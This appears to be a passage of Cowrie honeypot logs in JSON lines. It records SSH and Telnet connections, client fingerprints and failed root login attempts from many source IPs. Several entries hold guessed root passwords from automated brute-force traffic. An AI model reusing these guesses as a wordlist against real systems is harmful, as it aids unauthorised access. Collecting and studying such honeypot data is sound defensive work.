{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:25.003486Z","src_ip":"103.172.78.219","session":"bd3615011037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.23783683776855,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:25.546649Z","src_ip":"178.128.93.180","session":"b19a4bfcb1db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopka1","message":"login attempt [root/knopka1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:25.986056Z","src_ip":"103.172.78.219","session":"bd3615011037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":35110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c918f7707b0f","protocol":"ssh","message":"New connection: 46.19.67.181:35110 (10.17.0.5:22) [session: c918f7707b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:27.149090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:27.153755Z","src_ip":"46.19.67.181","session":"c918f7707b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:27.236343Z","src_ip":"103.172.78.219","session":"bd3615011037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:27.269202Z","src_ip":"46.19.67.181","session":"c918f7707b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burton","message":"login attempt [root/burton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:27.754300Z","src_ip":"46.19.67.181","session":"c918f7707b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:28.874577Z","src_ip":"46.19.67.181","session":"c918f7707b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b08dfb57ea","protocol":"telnet","message":"New connection: 178.128.93.180:40444 (10.17.0.5:23) [session: f5b08dfb57ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:30.441231Z"}
{"eventid":"cowrie.session.closed","duration":33.38118243217468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:34.292499Z","src_ip":"69.4.83.194","session":"e50d2432245c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":46326,"dst_ip":"159.203.135.109","dst_port":22,"session":"163d36a4d886","protocol":"ssh","message":"New connection: 115.190.56.179:46326 (159.203.135.109:22) [session: 163d36a4d886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:44.968547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:44.973025Z","src_ip":"115.190.56.179","session":"163d36a4d886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:46.997631Z","src_ip":"115.190.56.179","session":"f892f948c253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.773284912109375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:52.624737Z","src_ip":"69.4.83.194","session":"b3b63cd5acee","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:52.977747Z","src_ip":"115.190.56.179","session":"163d36a4d886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:52.989112Z","src_ip":"115.190.56.179","session":"163d36a4d886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36986,"dst_ip":"159.203.135.109","dst_port":22,"session":"445da7061b86","protocol":"ssh","message":"New connection: 168.167.72.132:36986 (159.203.135.109:22) [session: 445da7061b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:02.247674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:02.253568Z","src_ip":"168.167.72.132","session":"445da7061b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:02.506766Z","src_ip":"168.167.72.132","session":"445da7061b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789*","message":"login attempt [root/Aa123456789*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:03.544503Z","src_ip":"168.167.72.132","session":"445da7061b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:04.803988Z","src_ip":"168.167.72.132","session":"445da7061b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":51120,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d5cf899d75","protocol":"ssh","message":"New connection: 20.205.18.79:51120 (159.203.135.109:22) [session: 74d5cf899d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:23.648765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:23.652789Z","src_ip":"20.205.18.79","session":"74d5cf899d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:23.863724Z","src_ip":"20.205.18.79","session":"74d5cf899d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:24.239936Z","src_ip":"20.205.18.79","session":"74d5cf899d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":50934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43182a63e1c","protocol":"telnet","message":"New connection: 172.104.93.159:50934 (159.203.135.109:23) [session: e43182a63e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:33.765913Z"}
{"eventid":"cowrie.session.closed","duration":120.00249528884888,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:35.679825Z","src_ip":"79.139.59.21","session":"e88633609509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.25987887382507,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:38.700956Z","src_ip":"178.128.93.180","session":"f5b08dfb57ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.165143728256226,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:43.930929Z","src_ip":"172.104.93.159","session":"e43182a63e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":37642,"dst_ip":"159.203.135.109","dst_port":22,"session":"62e53fc8a9a0","protocol":"ssh","message":"New connection: 115.190.56.179:37642 (159.203.135.109:22) [session: 62e53fc8a9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:44.801029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:44.806190Z","src_ip":"115.190.56.179","session":"62e53fc8a9a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:45.057343Z","src_ip":"115.190.56.179","session":"62e53fc8a9a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Xx","message":"login attempt [root/123456Xx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:46.785788Z","src_ip":"115.190.56.179","session":"62e53fc8a9a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:48.040141Z","src_ip":"115.190.56.179","session":"62e53fc8a9a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34034,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36d9c408220","protocol":"telnet","message":"New connection: 69.4.83.194:34034 (159.203.135.109:23) [session: e36d9c408220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:08:59.299048Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44996,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b86f88d355","protocol":"telnet","message":"New connection: 69.4.83.194:44996 (159.203.135.109:23) [session: a2b86f88d355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:29.450488Z"}
{"eventid":"cowrie.session.closed","duration":33.99192452430725,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:33.290856Z","src_ip":"69.4.83.194","session":"e36d9c408220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e0cd99bbb71","protocol":"telnet","message":"New connection: 165.22.57.101:55502 (159.203.135.109:23) [session: 9e0cd99bbb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:38.576289Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38554,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31aa3d3d400","protocol":"ssh","message":"New connection: 103.77.242.62:38554 (10.17.0.5:22) [session: b31aa3d3d400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:39.387727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:39.392498Z","src_ip":"103.77.242.62","session":"b31aa3d3d400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:39.633654Z","src_ip":"103.77.242.62","session":"b31aa3d3d400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"athlon","message":"login attempt [root/athlon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:40.362406Z","src_ip":"103.77.242.62","session":"b31aa3d3d400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:41.606799Z","src_ip":"103.77.242.62","session":"b31aa3d3d400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":34184,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ed0f3e2ed5","protocol":"ssh","message":"New connection: 115.190.56.179:34184 (159.203.135.109:22) [session: 20ed0f3e2ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:43.968226Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51506,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce398f51cf1b","protocol":"telnet","message":"New connection: 69.4.83.194:51506 (159.203.135.109:23) [session: ce398f51cf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:48.060727Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35764,"dst_ip":"10.17.0.5","dst_port":23,"session":"30f0aea2375e","protocol":"telnet","message":"New connection: 178.128.93.180:35764 (10.17.0.5:23) [session: 30f0aea2375e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:51.528432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:09:51.979084Z","src_ip":"115.190.56.179","session":"20ed0f3e2ed5","protocol":"ssh"}
